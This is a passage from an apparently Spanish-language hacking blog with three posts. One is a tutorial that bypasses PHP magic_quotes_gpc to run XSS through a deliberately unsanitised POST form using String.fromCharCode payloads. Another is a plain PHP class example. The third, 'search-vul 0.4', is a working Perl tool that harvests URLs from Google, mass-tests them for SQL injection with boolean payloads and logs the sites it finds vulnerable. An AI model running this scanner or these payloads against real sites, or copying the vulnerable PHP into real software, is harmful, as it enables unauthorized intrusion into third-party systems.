skip to main | skip to sidebar
Yoyahack
El inteligente no es aquel que lo sabe todo sino aquel que sabe utilizar lo poco que sabe
RSS
  • Home
  • Admin
  • Undersecurity
  • CPAN - Perl
  • PHP

Bypass de magic_quotes_gpc() para explotar XSS via POST

Herramientas, Nivel web, php, vurnerabilidad, XSS 1comentarios

Buenas, algunas veces necesitamos explotar un XSS via GET o via POST, pero nos no dejas porque al parecer tienen ON la directiva magic_quotes_gpc (Get, Post, Cookie), que nos escapa las comillas dobles y simples a barras invertidas, esto puede ser un problema al principio pero esto se puede bypassear con la función String.fromCharCode(), ahora sito el texto:

Este es un método global del objeto String que crea una cadena a partir de los
códigos Unicode que se le pasen como parámetros.

Bueno, para resumir, para poder explotar las magic_quotes_gpc, solo es necesario insertar un código javascript que no contenga comillas dobles y simples, para esto nos ayudara la función de javascript String.fromCharCode().


Bueno, primero debo saber si tengo la directiva On en el php.ini

root@yoya-desktop:/# cat /etc/php5/apache2/php.ini|grep magic_quotes_gpc
magic_quotes_gpc = On
Con esto ya sabemos que tenemos la directiva magic_quotes_gpc On.

Nota: Apartir de PHP 5.3.0 la directiva magic_quotes_gpc viene por defecto Off y apartir de la versión 6 de PHP sera eliminada.

Explotaremos el siguiente archivo:

<?php
/*Archivo proc.php*/
/*Explotando XSS con magic_quote_gpc ON*/

$var = $_POST['form1'];
$var2 = $_POST['form2'];

if(!empty($var) && !empty($var2))
{
echo "El primer valor es: ", $var;
echo "<br>";
echo "El segundo valor es: ", $var2;
exit;
}
?>
<form name="Formulario" action="proc.php" method="POST">
<p>Ingrese el primer parametro</p>
<input name="form1" type="txt" size="30">
<p>Ingrese el Segundo parametro</p>
<input name="form2" type="txt" size="30">
<br>
<input type="submit" value="Enviar">
</form>



Ok, luego presionamos enviar y aparecerá lo siguiente:

El primer valor es: \"Probando \"comillas dobles\"
El segundo valor es: \'Probando comillas simples\'

Podemos ver que nos a escapado las comillas dobles y simple con barras invertidas,
ok, si ponemos en el formulario, ok ahora usaremos la funcion String.fromCharCode() para pasar los parámetros necesario para ejecutar XSS pero lo tendremos que pasar en ascii, tengo hice una herramienta en perl para su uso.


#!/usr/bin/perl
#Code by Yoyahack
#yoyahack.blogspot.com
#Undersecurity.net

if(!$ARGV[0]){
print "Usage perl $0 <text>\n";
print "Ex: perl $0 yoyahack\n";
exit;
}
print "La cadena convertida a ASCII es:\n";
print join ',', unpack "U*", $ARGV[0];
print "\n";
exit;

Ok, la vamos a pasar y vamos a pasar el siguiente parametro a la tool en perl:

<script>alert("Buenas, esto es un ejemplo")</script>

Y nos devolverá:

60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62


Ok ahora insertamos lo siguiente en el formulario:

<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62))</script>


Y el resultado:


Bueno, esto era todo...

Saludos.


11:12



Ejemplo de PHP POO ( Programación orientada a objectos)

php, programacion 1comentarios

Ejemplo de PHP POO (Programación orientada a objectos), para que vean mas o menos como funciona xD.


<?php

class info {
private $nombre;
private $apellido;
private $edad;

public function __construct($nom,$lname, $age)
{
$this->nombre = $nom;
$this->apellido = $lname;
$this->edad = $age;
}

public function nombree()
{
echo "El nombre es ".$this->nombre;
echo '<br>';
}

public function apellidoo()
{
echo "El apellido es ".$this->apellido;
echo '<br>';
}

public function edadd()
{
echo "La edad de ".$this->nombre." es ".$this->edad;
echo '<br>';
}

public function mostrar()
{
echo $this->nombree();
echo $this->apellidoo();
echo $this->edadd();

}

}//Fin de la clase

$info = new info('Yoya','hack', '99');
$info->mostrar();

?>


14:09



search-vul 0.4

Herramientas, Nivel web, perl, programacion 0 comentarios

Bueno aquí mi tool, search-vul 0.4, con algunas optimaciones, arreglos, y detecta si existen varios Query_String en la url y un help para su uso xD.






=pod
Autor: Yoyahack
name: search-vul
verion: 0.4
Mail: yoyahack@undersecurity.net
Web: www.yoyahack.blogspot.com
Webs: www.undersecurity.net & www.mitm.cl & elhacker.net & www.n3t-datagrams.net
Gretz: S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z, [[kt0sh]],SH4V , x4cks
_ _
___ ___ __ _ _ __ ___| |__ __ ___ _| |
/ __|/ _ \/ _` | '__/ __| '_ \ ____\ \ / / | | | |
\__ \ __/ (_| | | | (__| | | |_____\ V /| |_| | |
|___/\___|\__,_|_| \___|_| |_| \_/ \__,_|_|

=cut

#opciones
=pod
--google <busqueda> --num <numero> -> Buscar paginas de google.com y indica el numero de pagina a buscar
--googles <busqueda> --num <numero> -> Buscar pagina de distinto servidores googles
--vul <file.txt> -> Escanea un archivo que contenga distinta pagina y verifica las vurnerables
--dns <site> -> Reverse dns
=cut

#Modulos

use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;

#Code

print q(
·············································
Code
by
Yoyahack
www.yoyahack.blogspot.com
www.undersecurity.net & www.mitm.cl
·············································
);

print "Usage: perl $0 --opcion <xxx>\n";
print q(
--google <busqueda> --num <numero>
--googles <busqueda> --num <numero>
--vul <file.txt>
--dns <site>
--help
);

#Opciones
GetOptions("google=s" => \$google,
"googles=s" => \$googles,
"vul=s" => \$vul,
"dns=s" => \$dns,
"num=s" => \$num,
"help" => \$help);

if($google & $num){&google};
if($googles & $num ){&googles};
if($vul){&vul};
if($dns){&dns};
if($help){&help}

sub google{

###########################################################
my $peti = "http://www.google.com/search?hl=&q=$google&start=$num";
my $result = get($peti);

###########################################################
while ($result =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {

my $enlace = $1;
open (SE,">>busqueda.txt");
print SE "$enlace\n";
close (SE);
print "$enlace\n";
}
}



sub googles{

###########################################################
my @googles = qw(www.google.es www.google.cl www.google.com.ar www.google.co.ve);
foreach $go(@googles)
{
chomp($go);
###########################################################
my $peti1 = "http://$go/search?hl=&q=$googles&start=$num";
my $result1 = get($peti1);

###########################################################
while ($result1 =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
my $enlace1 = $1;

open (SS,">>googles.txt");
print SS "$enlace1\n";
close (SS);
print "$enlace1\n";
}
}
}


sub vul{
###########################################################
open(PAG,$vul) || die "Archivo de texto no encontrado";
@urls=<PAG>;
close (PAG);
foreach $pag(@urls)
{
chomp($pag);
###########################################################
my $iny1 = $pag."'+and+1=1+--+";
my $iny2 = $pag."'+and+1=2+--+";
###########################################################
$pag .= '&';
if($pag =~ m/&{2}/ig){
}else{
while ($pag =~ m/\&/g) {
$regex = $pag;
substr($regex, pos($pag)-1, 0, "+and+1=1+--+");
my $tofo3 = scalar(split("\n",get($regex)));
$regex2 = $pag;
substr($regex2, pos($pag)-1, 0, "+and+1=2+--+");
my $tofo4 = scalar(split("\n",get($regex2)));
if($tofo3 ne $tofo4 || $tofo != $todo){
open (VUL,">>vurl.txt");
print VUL "$pag\n";
close (SS);
}
}
}
##########################################################
my $fuente = get($iny1);
my $tofo = scalar(split("\n",$fuente));

my $result = get($iny2);
my $todo = scalar(split("\n",$result));
##########################################################
if($tofo ne $todo || $tofo != $todo){
open (VUL,">>vurl.txt");
print VUL q(
·············································
Code
by
Yoyahack
www.yoyahack.blogspot.com
www.undersecurity.net & www.mitm.cl
·············································

);
print VUL "$pag\n";
close (SS);
print "[+]$pag es vurnerable a SQLI\n";
print "!guardada exitosamente\n";
} else {
print "\n$pag no es vurnerable a SQLI\n";
}
}
}

sub dns{
my $result = get("http://www.ip-adress.com/reverse_ip/$dns");

while ($result =~ m!<a href="/whois/(.+)">Whois</a>!ig){

open (DNS,">>reverse_dns.txt");
print DNS "$1\n";
close (DNS);
print "$1\n";

}
if ($result =~ /valid IP address/) {

print "Not found\n";
}
}


sub help {
&erase;
print q(
##############################
1 --google <busqueda> --num <numero>

Buscar paginas de google.com y indica el numero de pagina a buscar
perl script.pl --google ola --num 10
##############################
#////
##############################
2 --googles <busqueda> --num <numero>

perl script.pl --googles ola --num 10
Buscar pagina de distinto servidores googles
##############################
#////
##############################
3 --vul <file.txt>

perl script.pl --vul archivo.txt
Escanea un archivo que contenga distinta pagina y verifica las vurnerables
##############################
#////
##############################
4 --dns <site>

perl script.pl --dns www.pagina.com
Reverse dns
##############################
#////
);
}

sub erase{
$os = "$^O";
if ("linux" == "$os"){
return system('clear');
}else{
return system('cls');}
}

sub get {
my $pagina = $_[0];

my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");

my $busqueda = new HTTP::Request GET => $pagina;
my $resultado = $ua->request($busqueda);
$ua->timeout(7) || die "Conecction faield";
my $result = $resultado->content();
}


13:52



Entradas más recientes Entradas antiguas Inicio
Suscribirse a: Entradas (Atom)

    Fedora 15

    FayerWayer

    Cargando...

    Twitter

    Follow @Yoyahack

    Categoria

    • Captcha (1)
    • Exploit (1)
    • Herramientas (10)
    • MYSQL (2)
    • Nivel web (24)
    • Noticias (2)
    • Offtopic (2)
    • perl (11)
    • php (12)
    • POO (1)
    • programacion (19)
    • Regexp (2)
    • Tips (1)
    • vurnerabilidad (7)
    • XSS (2)

    Blog Archive

    • ►  2012 (1)
      • ►  abril (1)
    • ►  2011 (6)
      • ►  octubre (1)
      • ►  septiembre (1)
      • ►  agosto (1)
      • ►  junio (1)
      • ►  marzo (2)
    • ▼  2010 (10)
      • ►  octubre (2)
      • ►  septiembre (1)
      • ►  agosto (1)
      • ►  junio (1)
      • ►  abril (2)
      • ▼  febrero (3)
        • Bypass de magic_quotes_gpc() para explotar XSS via...
        • Ejemplo de PHP POO ( Programación orientada a obje...
        • search-vul 0.4
    • ►  2009 (15)
      • ►  noviembre (1)
      • ►  octubre (1)
      • ►  septiembre (10)
      • ►  agosto (3)

    Afiliados

    • ANTRAX
    • drvy
    • hachik0
    • Ksha
    • kt0sh
    • Lord RNA
    • Panic
    • pks
    • seth
    • SH4V
    • snakingmax